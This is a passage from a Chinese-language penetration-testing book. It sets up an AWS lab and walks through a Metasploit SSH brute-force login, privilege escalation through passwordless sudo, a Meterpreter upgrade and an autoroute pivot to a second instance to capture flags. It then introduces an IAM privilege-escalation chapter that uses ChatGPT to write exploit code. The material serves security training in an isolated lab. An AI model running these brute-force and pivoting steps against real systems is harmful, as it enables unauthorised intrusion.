vm-kali的私有 IP 地址 ping 通第二个目标虚拟机实例target-vm-02(类似于图 6**.12所示):![]()
图 6.12 – 从攻击者实例 ping 通第二个目标实例(示意图)
在这里,我们预计第二个目标虚拟机实例
target-vm-02将无法从攻击者虚拟机实例vm-kali访问。话虽如此,让我们运行以下命令:
ping <TARGET VM 02 PRIVATE IP>确保将
<TARGET VM 02 PRIVATE IP>替换为第二个目标虚拟机实例的私有 IP 地址:![]()
图 6.13 – 从攻击者实例 ping 通第二个目标实例
如图 6**.13所示,我们无法通过攻击者虚拟机实例
vm-kali的私有 IP 地址 ping 通第二个目标虚拟机实例target-vm-02。注意
为什么会这样?这是因为我们配置了target-vm-02使用的安全组,使其仅能通过使用target-vm-01的安全组的资源访问。换句话说,我们只能通过第一个目标虚拟机实例(target-vm-01)访问第二个目标虚拟机实例(target-vm-02)。请注意,还有多种方法可以防止攻击者虚拟机的流量到达第二个目标虚拟机实例。另一种可能的方式是,在 VPC 01 中引入一个私有子网,然后在该私有子网中启动第二个目标虚拟机实例。除此之外,我们还可以创建一个新的 VPC,设置新 VPC 与 VPC 01 之间的 VPC 对等连接,然后在新的 VPC 中启动第二个目标虚拟机实例。
-
返回到 EC2 实例列表。将复选框切换到 开启 状态,选择
target-vm-01,然后点击 连接 按钮。这将把您重定向到 连接到实例 页面。 -
在第一个标签页(EC2 实例连接)中,找到并点击 连接 按钮,通过 EC2 实例连接 访问该实例。
-
现在,让我们检查能否通过第一个目标 VM 实例
target-vm-01的私有 IP 地址 ping 第二个目标 VM 实例target-vm-02(类似于 图 6.14 中所示):![]()
图 6.14 – 从第一个目标实例 ping 第二个目标实例(示意图)
在这里,我们期望第一个目标实例
target-vm-01可以访问第二个目标 VM 实例target-vm-02。话虽如此,让我们运行以下命令:
ping <TARGET VM 02 PRIVATE IP>确保将
<TARGET VM 02 PRIVATE IP>替换为第二个目标 VM 实例的私有 IP 地址:![]()
图 6.15 — 从第一个目标实例 ping 第二个目标实例
如 图 6.15 所示,我们可以通过第一个目标 VM 实例
target-vm-01的私有 IP 地址 ping 第二个目标 VM 实例target-vm-02。
注意
可选地,我们可以尝试通过第一个目标 VM 实例 target-vm-01 的公有 IP 地址 ping 第二个目标 VM 实例 target-vm-02。由于 VM 实例无法从外部网络环境访问,我们不应该能够通过公有 IP 地址 ping 到第二个目标 VM 实例 target-vm-02。
第三部分,共 3 部分 – 使用可达性分析器验证网络连接性
除了我们刚刚执行的初步网络连接测试外,我们还将使用 VPC 可达性分析器 —— AWS 提供的网络诊断工具 —— 来帮助我们检测和排查可能导致连接问题的网络配置错误。正如我们在接下来的步骤中所看到的,使用该工具非常简单:
-
通过在搜索栏中输入
vpc reachability analyzer,然后从结果列表中选择VPC Reachability Analyzer(在 功能 下)来导航到 VPC 可达性分析器 控制台。 -
点击 创建并分析
路径 按钮。 -
在 可达性分析器 > 创建并分析路径 页面,指定以下表单字段值:
-
路径配置 > **名称
标签: **attacker-to-target-01 -
路径来源 > 来源
类型:实例 -
路径来源 > 来源: 选择
vm-kali -
路径目的地 > 目的地
类型:实例 -
路径目的地 > 目的地: 选择
target-vm-01 -
**协议
: **TCP
-
重要提示
确保验证和检查参与可达性检查的资源的实例 ID。您可以打开另一个浏览器标签页,导航到 EC2 控制台,快速检查参与分析的资源的实例 ID。
- 然后点击创建并分析路径按钮。
注意
等待大约 2-3 分钟,直到分析完成。等候期间可以喝杯咖啡或茶!如果用户界面没有自动更新,你可以点击刷新按钮。
-
分析完成后,我们应该看到可达性状态设置为可达。
-
切换开启我们运行的分析的复选框,以查看分析浏览器 > 路径详情下的图表,类似于图 6.16所示:
![]()
图 6.16 – 分析浏览器 > 路径详情
使用分析浏览器,我们应该能够分析并评估 AWS 中 VPC 环境内不同资源之间的网络可达性和连通性。在这里,我们可以看到第一个目标虚拟机实例,
target-vm-01,可以从攻击者实例vm-kali访问,并且网络流量通过 VPC 网络对等连接传输。如果你有时间,可以使用 VPC 可达性分析器来验证我们无法从攻击者虚拟机实例(vm-kali)ping 第二个目标虚拟机实例(target-vm-02)。
除了使用本节中讨论的解决方案外,请注意还有其他几种方法可以测试实验网络环境中的网络连通性。在排查网络连通性问题时,随时可以尝试使用其他工具,如telnet、nmap和traceroute。
到这一步,我们应该已经对网络的设置和配置有了更清晰的了解。在下一部分,我们将继续设置和配置攻击者虚拟机实例,以为本章末的渗透测试模拟做好准备。
重要提示
如果你计划休息超过一个小时,最好先清理并删除实验环境(参见本章最后的清理部分),然后等你准备好继续处理本章后续部分时再重新启动实验环境。这样可以避免为几乎没有使用的云资源运行时支付费用。虽然实验环境中的资源 IP 地址可能会发生变化(在重新启动实验环境后),但实验环境的整体网络和安全配置应该大致相同。
设置攻击者虚拟机实例
本节中,我们将设置我们的攻击者 EC2 实例。与第四章(在 GCP 上设置隔离渗透测试实验环境)和第五章(在 Azure 上设置隔离渗透测试实验环境)相比,本章中的攻击者实例设置会简单得多,因为我们只需要使用终端。
话虽如此,让我们继续设置攻击者虚拟机实例:
-
导航到 EC2 实例列表(使用侧边栏)。勾选
vm-kali的复选框,然后点击Connect按钮。这将把你重定向到Connect to** **instance页面。 -
在最后一个标签页(EC2 serial console)中,点击
Connect按钮,通过EC2** **serial console访问实例。
注意
在串行控制台中,如果你看到一个空白的黑屏,只需按 Enter 键即可看到 root@kali:~# 命令提示符。如果你无法访问攻击者虚拟机实例 vm-kali,可以尝试重新启动 EC2 实例,并再次通过 EC2 串行控制台访问它。此外,确保没有其他打开的会话干扰串行控制台连接。
-
由于我们稍后将使用 Metasploit,因此我们需要验证是否可以在攻击者虚拟机实例中使用
msfconsole。也就是说,让我们运行以下命令:which msfconsole运行此命令会返回
msfconsole not found。看起来我们需要先做一些必要的安装和设置工作! -
现在,让我们更新软件包列表,然后使用以下命令安装 Kali Linux 的默认软件包:
sudo DEBIAN_FRONTEND=noninteractive dpkg --configure -a sudo apt update sudo DEBIAN_FRONTEND=noninteractive apt install -y kali-linux-default如果需要,您可以根据需要调整安装和设置命令(以防万一!)。如果这些命令运行正常,那么我们可以继续进行下一步。
注意
此步骤可能需要 20-30 分钟才能完成。在等待时,您可以查看以下链接:www.kali.org/docs/general-use/metapackages/。安装完成后,随时运行 clear 命令清除屏幕。
-
再次运行
which msfconsole命令,验证是否可以在攻击者虚拟机实例中使用msfconsole:which msfconsole这应该会返回
/usr/bin/msfconsole。看起来我们准备好开始了! -
现在,让我们准备
username.txt和passwords.txt文件,我们将用它们进行示例 SSH 暴力破解攻击。首先,使用touch命令创建两个空文件:cd /root touch usernames.txt touch passwords.txt -
运行以下命令以使用 Vim 打开空的
/root/usernames.txt文件:vim usernames.txt随时输入
:set nu,然后按 Enter 键,以显示编辑器中的行号。 -
接下来,按 i 键切换到
insert mode,以便我们可以编辑文件。
注意
如果你已经忘记了,Vim 中的 insert mode 允许我们像在普通文本编辑器中一样输入和修改内容。在此模式下,我们可以自由地添加、删除或修改字符,而不会影响周围的文本。
-
将以下代码块输入或粘贴到我们的
usernames.txt文件中:admin root ubuntu adminuser adminuser2这里我们有一个故意简化的用户名列表,以加速后续的模拟过程。在实际的渗透测试活动中,我们会使用更为广泛的用户名列表。这将包括常见的用户名、特定系统或应用程序的默认用户名,以及可能的自定义用户名。
-
按Esc键切换到正常模式。输入
:wq!,然后按Enter键。这将保存你对usernames.txt所做的更改,并退出 Vim。
注意
为了帮助你回忆,正常模式下,Vim 允许我们在文本中导航,执行命令,进行各种文件操作。在这个模式下,可以使用特定的按键(如:wq!)来移动光标、搜索文本、复制粘贴,以及执行删除、替换、撤销更改等编辑操作。例如,w表示保存命令(即保存文件更改),q表示退出命令(即退出编辑器)。最后,感叹号!是一个可选修饰符,强制命令执行,即使存在未保存的更改或其他警告。
-
运行以下命令,使用 Vim 打开空的
/root/passwords.txt文件:vim passwords.txt随时输入
:set nu,然后按Enter键,在编辑器中显示行号。 -
接下来,按i键切换到插入模式,以便我们可以编辑文件。
-
将以下代码块输入或粘贴到我们的
passwords.txt文件中:password 123456 12345678 pass123这里我们有一个故意简化的密码列表,以加速后续的模拟过程。
-
按Esc键切换到正常模式。输入
:wq!,然后按Enter键。这将保存你对passwords.txt所做的更改,并退出 Vim。
现在一切准备就绪,我们可以开始在实验环境中进行渗透测试模拟!
在隔离的网络环境中模拟渗透测试
由于我们的 AWS 实验环境已成功搭建,我们现在可以进行渗透测试模拟,验证一切是否已正确配置。当然,我们将使用简化的渗透测试流程,因为我们的主要目标是评估实验环境是否已正确设置和配置。
在我们开始模拟之前,让我们快速讨论一下这个部分需要了解的相关概念、术语和工具:
-
网络枢纽:网络枢纽指的是使用一个已被攻陷的系统作为网关,访问网络中其他互联的系统或区域。通过使用各种网络枢纽技术和工具,攻击者可以扩展其访问范围,在内部资源中导航,甚至可能提升权限。
-
横向渗透:横向渗透指的是攻击者在获得初始访问权限后,在同一网络(或域)内横向移动的行为。它涉及利用漏洞、利用凭证以及使用各种技术访问和攻破同一环境中的其他系统。
-
Meterpreter:Meterpreter 是 Metasploit 框架中的一种高级有效载荷,提供了广泛的功能,包括交互式命令执行、权限提升和网络转移。通过 Meterpreter 会话,攻击者可以获得交互式 shell,帮助进行各种信息收集和高级后期利用任务,满足道德黑客的需求。我们可以将 Meterpreter 会话视为一种高级的 SSH shell,具有多个额外强大的功能,专门用于渗透测试和安全研究。 -
Metasploit post/multi/manage/autoroute 模块:
post/multi/manage/autoroute模块是 Metasploit 框架中的一个专业模块,用于帮助在被攻破的系统和其他目标子网之间建立网络路由。这个模块对于横向渗透和网络转移在后期利用过程中尤为重要。
随着我们在网络安全领域的深入,我们将遇到更多先进的网络转移和横向渗透方法与技术。虽然还有更多内容可以学习,但目前这些方法已经足够有效!
重要提示
攻击属于其他用户或公司拥有的云资源是不道德且非法的。在继续之前,请确保阅读 第一章 中的 在云中构建渗透测试实验环境时的注意事项 部分,开始使用云中的渗透测试实验室,因为我们将模拟攻击过程,以验证目标虚拟机实例中运行的应用程序和服务中的配置错误和漏洞是否可以被利用。
也就是说,本节内容分为以下几个子部分:
-
第一部分 / 3 – 获取 第一个标志
-
第二部分 / 3 – 向攻击 其他资源 的转移
-
第三部分 / 3 – 使用可达性分析器验证 网络连通性
考虑到这些因素,我们现在可以开始渗透测试模拟。
第一部分 / 3 – 获取第一个标志
按照以下步骤操作:
-
在上一节的基础上,我们继续进行操作,检查并扫描第一个目标 EC2 实例(target-vm-01)的开放端口:
![]()
图 6.17 – 使用 Nmap 扫描第一个目标实例
与 图 6.17 中所示类似,我们将从攻击者实例(vm-kali)发起 Nmap 扫描,该实例部署在另一个 VPC 中。确保您能够通过
EC2**串行控制台** 访问并在攻击者实例中运行命令。一旦准备好进行扫描,运行以下命令:
nmap --top-ports 1000 <TARGET VM 01 PRIVATE IP>请确保将
<TARGET VM 01 PRIVATE IP>替换为第一个目标虚拟机实例的私有 IP 地址。如果您在想这个值从哪里获取,它可能已经存在于您本地计算机上的文本编辑器中(在您之前运行terraform apply命令后将输出值复制到文本编辑器中):![]()
图 6.18 – 运行 nmap 命令后的结果
几秒钟后,我们应该看到运行此命令后的返回结果。我们应该会看到端口
22已打开,类似于 图 6.18 中所示的情况!
注意
您可能已经注意到,我们示例中使用的第一个目标机器的私有 IP 地址(在 图 6.18 中)发生了变化!在幕后,本章所使用的实验环境已被销毁并重建(几次),以便管理在长时间不活动期间运行实验室的成本。也就是说,EC2 实例的私有 IP 地址应该保持不变,除非该实例被删除并重新创建。请确保您使用的是实际的 EC2 实例的私有 IP 地址,因为在运行 terraform apply 和 terraform show 命令后,您很可能会得到不同的 IP 地址值。
-
现在,执行以下命令以启动 Metasploit 框架控制台:
msfconsole这将启动 Metasploit 框架控制台,类似于我们在 图 6.19 中看到的内容:
![]()
图 6.19 – Metasploit 框架控制台
请注意,运行
msfconsole后,您可能会看到不同的加载屏幕(或加载文本)。注意
msfconsole可能需要一两分钟才能准备好。 -
运行以下命令来搜索
auxiliary/scanner/ssh/ssh_login模块:search ssh_login这应该会返回以下结果:
![]()
图 6.20 – 运行 search ssh_login 后的结果
在这里,我们有两个匹配的模块 – SSH 登录检查扫描器(auxiliary/scanner/ssh/ssh_login)和 SSH 公钥登录
扫描器(auxiliary/scanner/ssh/ssh_login_pubkey)。 -
现在,运行以下命令来选择并使用
auxiliary/scanner/ssh/ssh_login模块:use auxiliary/scanner/ssh/ssh_login运行命令后,我们的提示符应该会更改为
auxiliary(scanner/ssh/ssh_login) >,表示我们已成功选择了辅助 SSH 登录扫描器模块。从这里开始,我们可以配置模块选项,并执行扫描器检查是否可以通过不同的用户名和密码组合访问目标系统。 -
让我们使用以下命令快速检查我们拥有的设置和选项:
show options这应该返回一个模块选项列表,类似于 图 6.21 中所示:
![]()
图 6.21 – 执行 show options 命令后的输出
在这些选项中,我们将设置以下值:
USER_FILE(截图中未显示)作为存储用户名的文件名,PASS_FILE作为存储密码的文件名,RHOSTS(截图中未显示)作为被 SSH 登录扫描仪模块扫描的目标资源,THREADS(截图中未显示)作为线程数,VERBOSE(截图中未显示)作为详细级别。 -
运行以下命令(每次一个命令)来配置我们的扫描仪:
set USER_FILE /root/usernames.txt set PASS_FILE /root/passwords.txt set RHOSTS <TARGET VM 01 PRIVATE IP> set THREADS 1 set VERBOSE true确保将
<TARGET VM 01 PRIVATE IP>替换为第一个目标 EC2 实例(target-vm-01)的私有 IP 地址。
重要提示
小心指定RHOSTS配置值,因为我们不希望意外攻击到实验环境以外的随机资源。
-
一切准备就绪后,让我们继续运行 SSH 登录扫描仪:
![]()
图 6.22 - 使用 SSH 登录扫描仪扫描第一个目标实例
像我们之前执行的 Nmap 扫描一样,我们将使用攻击者实例(vm-kali)上的 SSH 登录扫描仪扫描第一个目标 EC2 实例(target-vm-01),类似于图 6.22所示。
一旦准备好执行扫描,运行以下命令:
run这将生成以下一组日志:
![]()
图 6.23 - 运行 SSH 登录扫描仪后的日志
在几次失败的尝试之后,我们看到成功使用
adminuser作为用户名和password作为密码进行了认证!
注意
此步骤可能需要几分钟才能完成。等候时可以随便喝杯咖啡或茶!
-
通过运行以下命令列出现有会话:
sessions这应该返回一个活动会话,类似于图 6.24所示:
![]()
图 6.24 - 会话列表
在这里,我们有连接列,它显示了关于活动会话的一些额外信息(即攻击者实例已连接到第一个目标实例)。
-
运行以下命令与第一个会话(ID = 1)进行交互:
sessions -i 1这将允许您与会话(到第一个虚拟机实例,vm-target-01)进行交互,并在其中执行命令。
-
进入会话后,运行以下命令查看当前用户的用户名:
whoami这应该返回以下输出:
![]()
图 6.25 - 使用 whoami 命令后的结果
在图 6.25中,我们可以看到运行
whoami命令后输出adminuser,这表明我们当前以adminuser用户身份登录。 -
通过运行以下命令提升权限到
root:sudo su
注意
这是不是有点太简单了?看起来无密码 sudo允许我们使用su(切换/替代用户)命令切换到root账户,而无需输入 root 用户的密码。无密码 sudo 比你想象的更常见,因为系统管理员和工程师通常利用它来简化自动化任务并确保操作便利性。
-
运行以下命令检查当前用户的用户名:
whoami这应该会给我们以下输出:
![]()
图 6.26 – 在使用 whoami 命令之后的结果(sudo su)
在图 6**.26中,我们可以看到运行
whoami命令(在sudo su之后)会显示root,这表明我们当前是以root用户身份登录的。 -
既然我们已经拥有 root 权限,让我们通过运行以下命令来找到第一个标志:
find / -type f -name "flag*"这将搜索整个文件系统中以
flag开头的文件。几分钟后,我们应该会得到一个包含/root/flag.txt文件的结果列表:... /root/flag.txt ...看起来我们找到了标志文件!
-
现在,让我们查看
/root/flag.txt的内容:cat /root/flag.txt这应该会给我们
FLAG # 1!。做得好! -
接下来,按Ctrl + Z以将会话置于后台模式。当系统提示
Background session 1? [y/N]时,输入y以继续。
重要提示
请注意,它应该是Ctrl + Z(后台会话),而不是 Ctrl + C(中止会话)。
第二部分/3 – 转向攻击其他资源
按照以下步骤操作:
-
让我们通过运行以下命令列出现有会话:
sessions运行此命令应该返回一个连接攻击者实例(vm-kali)和第一个目标实例(target-vm-01)的单一会话:
![]()
图 6.27 – 一个会话连接攻击者实例和第一个目标实例
此时,我们有一个会话连接了攻击者实例(vm-kali)和第一个目标实例(target-vm-01),类似于图 6**.27中所示。在这种情况下,会话指的是攻击者机器(运行 Metasploit)和被攻破的目标系统之间的一个活动且互动的连接。当成功的漏洞利用或有效载荷被传递到一个脆弱的目标时,它可以建立一个会话,给予攻击者对被攻破系统的不同层级控制和访问权限。在我们的案例中,在之前对第一个目标实例(target-vm-01)运行 SSH 登录扫描器后,攻击者实例(vm-kali)和第一个目标实例(target-vm-01)之间自动建立了一个会话。
-
接下来,运行以下命令(逐个命令执行)以使用第一个会话准备一个升级的
meterpreter会话:sessions -u 1 sessions -i 2这应该会打开一个第二个会话,类似于我们在图 6**.28中看到的:
![]()
图 6.28 – 打开一个升级的会话
由于我们执行了
sessions -i 2,我们将能够使用并与升级后的会话(即 Meterpreter 会话)进行交互,并在其中执行额外的命令。与“普通”shell 相比,Metasploit 的Meterpreter会话提供了更广泛的功能和特性,包括文件系统访问、权限提升、进程操作、横向移动等。这些相对于普通 shell 的增强功能使得高级的后渗透活动成为可能,如网络中的横向移动、在被攻陷系统上的持久化、数据泄露和全面侦察。使用 Meterpreter,渗透测试人员和道德黑客拥有一个更强大的工具集,使他们能够进行更全面的评估并模拟现实世界的攻击场景:![]()
图 6.29 - 攻击者实例和第一个目标实例之间的两条会话连接
现在,我们有两条会话连接了攻击者实例和第一个目标实例(其中一条会话为 Meterpreter 会话)。
-
让我们使用以下命令检查网络配置:
ipconfig这应该会产生以下输出:
![]()
图 6.30 - 运行 ipconfig 后的结果
给定以下配置,我们应该能够推导出
SUBNET值为10.0.1.0(稍后我们将在配置autoroute模块时使用该值)。 -
接下来,按Ctrl + Z将会话设置为后台模式。当出现
Background session 2? [y/N]提示时,输入y以继续。 -
运行以下命令逐一搜索、选择并使用
autoroute模块(每次执行一个命令):search autoroute use post/multi/manage/autoroute -
让我们快速检查使用以下命令时的设置和选项:
show options这应该会返回一个模块选项列表,类似于图 6.31所示:
![]()
图 6.31 - 执行 show options 命令后的输出
我们将很快指定
SESSION和SUBNET模块选项的配置值。 -
配置
SESSION设置并将其设置为2:set SESSION 2 -
配置
SUBNET设置并将其设置为10.0.1.0/24:set SUBNET 10.0.1.0/24 -
让我们快速检查使用以下命令时的设置和选项:
show options这应该会返回一个模块选项列表,类似于我们在图 6.32中看到的:
![]()
图 6.32 - 执行 show options 命令后的输出
看起来我们的
post/multi/manage/autoroute模块配置已经准备就绪! -
现在,让我们执行
autoroute模块:run这应该会产生以下日志集:

图 6.33 - 运行 autoroute 模块后的日志
现在我们已经执行了autoroute模块,应该能够进行横向移动,访问从第一个目标虚拟机实例(target-vm-01)可访问的其他资源或网络。
第三部分 第三章 - 获取第二个标志
请按照以下步骤操作:
-
运行以下命令以选择并使用
auxiliary/scanner/portscan/tcp模块:use auxiliary/scanner/portscan/tcp这一次,我们将扫描第二个目标实例的开放端口,类似于图 6.34中所示的内容:
![]()
图 6.34 – 在第二个目标实例上使用 TCP 端口扫描器
即使攻击者实例(vm-kali)无法直接访问第二个目标 EC2 实例,我们仍然可以通过第一个目标 EC2 实例(target-vm-01)间接运行 TCP 端口扫描器对第二个目标 EC2 实例(target-vm-02)进行扫描。太神奇了,是吧?
注意
请记住,只有第一个目标实例(target-vm-01)的流量才被第二个目标实例(target-vm-02)的安全组允许。这意味着我们无法直接从攻击者实例(vm-kali)扫描第二个目标实例(target-vm-02)。
-
配置
RHOSTS设置,并将其设置为第二个目标虚拟机实例(target-vm-02)的私有 IP 地址:set RHOSTS <TARGET VM 02 PRIVATE IP>确保将
<TARGET VM 02 PRIVATE IP>替换为第二个目标虚拟机实例的私有 IP 地址。如果你想知道在哪里可以获取此值,它可能就在你本地机器的文本编辑器中(在你执行terraform apply命令并将输出值复制到文本编辑器后)。
重要提示
在指定RHOSTS配置值时要小心,因为我们不希望意外攻击到实验室环境之外的随机资源。
-
现在,让我们使用以下命令继续进行扫描:
run这应该会生成一组日志,类似于我们在图 6.35中看到的内容:
![]()
图 6.35 – 运行扫描器后的结果
运行扫描器后,我们可以看到第二个目标虚拟机实例(target-vm-02)的端口
22是开放的。
注意
此步骤可能需要大约 3 到 5 分钟完成。
-
使用
auxiliary/scanner/ssh/ssh_login模块运行以下命令:use auxiliary/scanner/ssh/ssh_login -
配置
RHOSTS设置,并将其设置为第二个目标虚拟机实例(target-vm-02)的私有 IP 地址:set RHOSTS <TARGET VM 02 PRIVATE IP>确保将
<TARGET VM 02 PRIVATE IP>替换为第二个目标虚拟机实例(target-vm-02)的私有 IP 地址。
重要提示
在指定RHOSTS配置值时要小心,因为我们不希望意外攻击到实验室环境之外的随机资源。
-
接下来,让我们验证是否设置了所有相关的选项和配置设置:
show options这应该返回一个模块选项列表,类似于我们在图 6.36中看到的内容:
![]()
图 6.36 – 显示选项
由于我们刚刚将
RHOSTS值设置为第二个虚拟机实例的私有 IP 地址,所有相关的配置设置已经完成(因为我们正在重用在第一次使用模块时设置的大部分先前配置)。 -
现在,让我们继续在第二个目标 EC2 实例(target-vm-02)上运行 SSH 登录扫描器:
![]()
图 6.37 – 在第二个目标实例上使用 SSH 登录扫描器
即使攻击者实例(vm-kali)无法直接访问第二个目标 EC2 实例,我们也应该能够通过第一个目标 EC2 实例(target-vm-01)间接运行 SSH 登录扫描器。
一旦准备好进行扫描,运行以下命令:
run这将生成以下一组日志:
![]()
图 6.38 – 在第二个目标实例上运行 SSH 登录扫描器后的日志
尝试了几个用户名和密码组合后,我们看到成功使用
adminuser2作为用户名,password作为密码进行了身份验证!
注意
这个步骤可能需要大约 3-5 分钟才能完成。
-
通过运行以下命令列出现有会话:
sessions这应该会返回三个活跃会话,类似于 图 6.39 中所示:
![]()
图 6.39 – 活跃会话列表
在这里,我们看到有第三个活跃会话,它允许我们访问(并控制)第二个目标实例(vm-target-02):
![]()
图 6.40 – 访问第二个目标实例的新会话
此时,我们有两个会话连接攻击者实例(vm-kali)和第一个目标实例(target-vm-01),以及一个会话连接第一个目标实例和第二个目标实例(target-vm-02)。
-
现在,让我们使用以下命令访问第二个目标实例(target-vm-02):
sessions -i 3这将允许我们与会话互动并执行命令。
-
运行以下命令来检查当前用户的用户名:
whoami这应该会返回
adminuser2,表示我们当前以adminuser2用户身份登录。 -
通过运行以下命令提升权限至
root:sudo su
注意
看起来已经为 adminuser2 配置了无密码 sudo!如果你想知道这是如何配置的,只需在我们的 Terraform 配置代码(在 CloudShell 中)中找到并检查 aws_instance 资源块的 user_data 属性。
-
运行以下命令来检查当前用户的用户名:
whoami这应该会给我们以下输出:
![]()
图 6.41 – 运行 sudo su 后执行 whoami 命令的结果
在 图 6.41 中,我们可以看到在运行
sudo su后执行whoami命令的输出为root,表示我们当前以root用户身份登录。 -
让我们通过运行以下命令来定位第二个标志:
find / -type f -name "flag*"这将搜索整个文件系统,查找以
flag开头的文件。几分钟后,我们应该会得到一个结果列表,其中包括/****root/flag.txt文件:... /root/flag.txt ...看起来我们找到了标志文件!
注意
这个步骤可能需要大约 2-4 分钟来完成。
-
现在,让我们检查
/root/flag.txt的内容:cat /root/flag.txt这应该会给我们带来
FLAG #** **2!。 -
接下来,按Ctrl + Z将会话切换到后台模式。当提示
Background session 3? [y/N]时,输入y以继续。 -
最后,让我们使用以下命令退出
msfconsole:exit -y就这些!到目前为止,我们已经完成了渗透测试模拟。
现在,你可能很想尝试其他的跳板技术!由于我们已经自动化了设置过程,我们可以简单地运行以下命令来重建目标环境:
terraform apply -replace=<RESOURCE ADDRESS> -auto-approve
运行此命令将销毁并重建由<RESOURCE ADDRESS>标识的资源,以及与其相关或依赖的其他资源。由于渗透测试活动可能会使基础设施处于不稳定或配置错误的状态,重建基础设施将使其恢复到所需状态。
清理中
等一下……我们还没完成呢!清理我们创建或部署的云资源是在渗透测试实验环境中工作时的关键步骤。如果我们不立即清理和删除创建的资源,我们可能会为未使用的云资源付费。
最少情况下,我们将支付t3.medium EC2 实例(攻击者实例)和两个t2.micro EC2 实例(目标实例)运行的时间费用。请注意,我们还需要考虑其他成本,包括数据传输费用、实例使用的任何持久性数据的存储费用(如附加到 EC2 实例的 EBS 卷)、实验环境中使用的其他 AWS 服务的潜在费用(例如,监控日志)以及与 AWS 使用相关的任何适用税费或费用。
注意
由于运行这些资源的整体成本取决于多个参数,最好参考云平台提供的定价文档页面:aws.amazon.com/ec2/pricing/on-demand/。你还可以使用AWS 定价计算器来帮助估算在 AWS 上运行资源的成本。你可以在这里访问 AWS 定价计算器:calculator.aws/。
话虽如此,让我们继续删除在本章中创建的资源:
-
在 AWS CloudShell 终端中,导航到
~/pentest_lab目录,然后使用terraform destroy来清理我们之前创建的资源:cd ~/pentest_lab terraform destroy -auto-approve如果某些资源删除失败(或需要一些时间删除),可以随时运行
terraform destroy命令几次。或者,如果一切都失败,你也可以通过用户界面手动删除资源。
注意
这个步骤可能需要 10-15 分钟才能完成。等待时可以随便吃点零食!
-
使用以下命令验证资源是否已成功销毁:
terraform show由于所有资源应该已经成功删除,因此此操作应返回空响应。
重要提示
确保利用AWS 账单仪表板对您的 AWS 账户进行全面审计。它提供了成本探索器等功能,用于可视化开支模式,详细的账单报告,用于服务细分,以及带有提醒的预算工具,帮助用户主动管理费用。使用 AWS 账单仪表板的不同功能将帮助确保所有资源已正确删除,并减少意外费用的风险。
就是这样!此时,我们应该已经对如何在 AWS 上准备渗透测试实验室环境有了清晰的了解。您可以自由调整 Terraform 配置代码,并扩展当前实验室环境的设置,以便拥有更多的目标资源和子网(以及更复杂的网络配置设置)。
总结
在本章中,我们讨论了如何在 AWS 上设置一个跳板实验室,在这个实验室中,我们可以练习跳板技术。我们从使用 Terraform 自动构建一个简单的环境开始,该环境包括一个攻击者实例和两个目标实例。然后,我们测试了实验室的网络连接性和安全性,以验证 Terraform 代码中指定的网络配置。最后,我们进行了渗透测试模拟,以验证实验室环境是否已正确设置。
现在我们已经完成了本章内容,接下来我们将重点准备 IAM 权限提升实验室环境。如果你想知道 IAM 权限提升实验室是如何(错误地)配置的,那么下一章将会很适合你!
进一步阅读
如果您想了解更多本章所涉及的主题,以下资源可能会对您有所帮助:
-
Amazon 虚拟私有云 – 什么是 VPC 对等连接?(
docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html) -
Amazon 虚拟私有云 – 什么是网络访问 分析器? (
docs.aws.amazon.com/vpc/latest/network-access-analyzer/what-is-network-access-analyzer.html) -
新增 – VPC 可达性 分析器 (
aws.amazon.com/blogs/aws/new-vpc-insights-analyzes-reachability-and-visibility-in-vpcs/) -
AWS 架构博客 – 使用 Amazon VPC 终端节点 降低成本并提高安全性 (
aws.amazon.com/blogs/architecture/reduce-cost-and-increase-security-with-amazon-vpc-endpoints/) -
AWS 架构博客 – 一对多:演进的 VPC 设计 (
aws.amazon.com/blogs/architecture/one-to-many-evolving-vpc-design/) -
AWS re:Invent 2022 – 高级 VPC 设计和新的 Amazon VPC 功能 (
www.youtube.com/watch?v=cbUNbK8ZdA0) -
将 shell 升级为 Meterpreter (
docs.metasploit.com/docs/pentesting/metasploit-guide-upgrading-shells-to-meterpreter.html) -
在 Metasploit 中进行枢纽转移 (
docs.metasploit.com/docs/using-metasploit/intermediate/pivoting-in-metasploit.html) -
网络 分割 (
www.vmware.com/topics/glossary/content/network-segmentation.html)
第三部分:探索实验室环境设计中的高级策略和最佳实践
在本部分中,您将探索在云中构建渗透测试实验室环境的各种策略和最佳实践。
本部分包含以下章节:
-
第七章,建立 IAM 特权升级实验室
-
第八章,设计和构建一个易受攻击的活动目录实验室
-
第九章,推荐策略和最佳实践
第七章:设置 IAM 权限提升实验室
假设你正在为 100 名参与者设置一个共享云环境,用于 机器学习(ML)研讨会。在准备好研讨会所需的云资源后,你将继续创建 身份与访问管理(IAM)用户账户,以便访问在云账户中运行的资源。在研讨会期间,你发现所有资源都被删除了!看起来研讨会参与者使用的共享云账户已经完全被攻破。经过调查,你发现其中一位参与者成功利用 IAM 配置错误,通过权限提升获得了未经授权的访问权限,并删除了账户中的所有资源。
本章中,我们将设置一个 IAM 权限提升实验室,模拟我们刚刚讨论过的 ML 研讨会环境!在这个真实的研讨会环境中,实验室参与者可以使用 Amazon SageMaker(一个完全托管的 ML 服务)来训练和部署 ML 模型。在设置好 IAM 权限提升实验室后,我们将深入研究权限提升的工作原理,模拟攻击者如何在账户内进行权限提升。除此之外,我们还将首次了解如何使用 生成性人工智能(生成性 AI)解决方案(如 ChatGPT)来生成我们在渗透测试模拟中使用的代码。
也就是说,我们将涵盖以下主题:
-
准备 Cloud9 环境
-
手动设置云资源和标志
-
利用 Terraform 自动设置目标资源
-
使用生成性 AI 工具生成利用代码
-
在实验室环境中模拟渗透测试
-
清理工作
在本章中,我们不需要像其他章节中那样使用攻击者实例。对 IAM 权限提升技术的充分理解以及一些编程经验,应该足以完成渗透测试模拟!
技术要求
在我们开始之前,必须准备好以下内容:
-
一个
Amazon Web Services(AWS)账户——可以随意使用你在本书之前章节中使用的任何现有账户 -
一个 ChatGPT 账户——通过以下链接注册一个免费账户:
chat.openai.com/auth/login -
任何文本编辑器(如 Notepad++、Visual Studio Code 或 Sublime Text),我们可以在其中暂时存储一些特定的值(例如,本地机器的 IP 地址),这些值将在本章的实践解决方案中使用
一旦这些准备好,你可以继续进行下一步。
重要提示
你可能会想知道为什么我们需要一个 ChatGPT 账户!在这一章中,我们将使用这一生成式 AI 解决方案为我们自动生成代码。如果这是你第一次使用 ChatGPT,别担心,稍后我们会提供一步步的指南,教你如何使用它生成 可用的 渗透测试模拟代码。
每一章使用的源代码和其他文件都可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/Building-and-Automating-Penetration-Testing-Labs-in-the-Cloud。
准备 Cloud9 环境
